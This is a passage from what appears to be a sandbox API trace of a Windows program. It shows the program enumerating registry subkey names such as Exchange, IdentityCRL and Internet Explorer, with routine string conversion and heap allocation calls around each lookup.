(HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.737] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0259.737] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.737] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.737] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.738] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.739] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1d, lpName=0x1efb930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0259.739] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0259.739] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x1efc0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0259.739] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.739] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.739] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.740] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.740] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1e, lpName=0x1efb930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0259.740] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.740] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0259.740] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.740] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.740] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.740] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.740] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1f, lpName=0x1efb930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0259.740] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.740] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x1efc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0259.740] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.740] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.740] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.740] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.740] RegEnumKeyW (in: hKey=0x34, dwIndex=0x20, lpName=0x1efb930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0259.740] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.740] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0259.740] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.740] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.740] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.740] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.741] RegEnumKeyW (in: hKey=0x34, dwIndex=0x21, lpName=0x1efb930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0259.741] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.741] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x1efc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0259.741] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.741] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.741] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.741] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.741] RegEnumKeyW (in: hKey=0x34, dwIndex=0x22, lpName=0x1efb930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0259.741] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.741] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0259.741] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.741] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.742] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.742] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.742] RegEnumKeyW (in: hKey=0x34, dwIndex=0x23, lpName=0x1efb930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0259.742] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.742] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x1efc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0259.742] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.742] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.742] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.742] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.742] RegEnumKeyW (in: hKey=0x34, dwIndex=0x24, lpName=0x1efb930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0259.742] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0259.742] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x1efc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0259.742] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.742] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.742] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.742] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.742] RegEnumKeyW (in: hKey=0x34, dwIndex=0x25, lpName=0x1efb930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0259.742] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.742] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x1efc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0259.742] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.742] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.742] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.743] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.743] RegEnumKeyW (in: hKey=0x34, dwIndex=0x26, lpName=0x1efb930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0259.743] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.743] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0259.743] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.743] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.743] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.743] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.743] RegEnumKeyW (in: hKey=0x34, dwIndex=0x27, lpName=0x1efb930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0259.743] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.743] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x1efc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0259.743] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.743] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.743] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.743] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.743] RegEnumKeyW (in: hKey=0x34, dwIndex=0x28, lpName=0x1efb930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0259.743] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.743] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0259.743] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.743] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.743] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.743] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.744] RegEnumKeyW (in: hKey=0x34, dwIndex=0x29, lpName=0x1efb930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0259.744] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.744] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x1efc0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0259.744] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.744] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.744] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.744] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.744] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2a, lpName=0x1efb930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0259.744] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.744] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x1efc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0259.744] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.744] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.744] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.744] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.744] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2b, lpName=0x1efb930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0259.744] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.744] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x1efc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0259.744] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.744] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.744] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.744] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.745] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2c, lpName=0x1efb930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0259.745] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.745] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x1efc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0259.745] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.745] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.745] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.745] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.745] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2d, lpName=0x1efb930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0259.745] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.745] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x1efc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0259.745] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.745] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.745] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.745] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.745] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2e, lpName=0x1efb930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0259.745] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0259.745] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x1efc120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0259.746] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.746] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.746] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.752] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.752] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2f, lpName=0x1efb930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0259.752] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0259.755] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0259.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x1efc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0259.755] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0259.759] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0259.759] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0259.759] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.759] RegEnumKeyW (in: hKey=0x34, dwIndex=0x30, lpName=0x1efb930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0259.761] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.771] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, 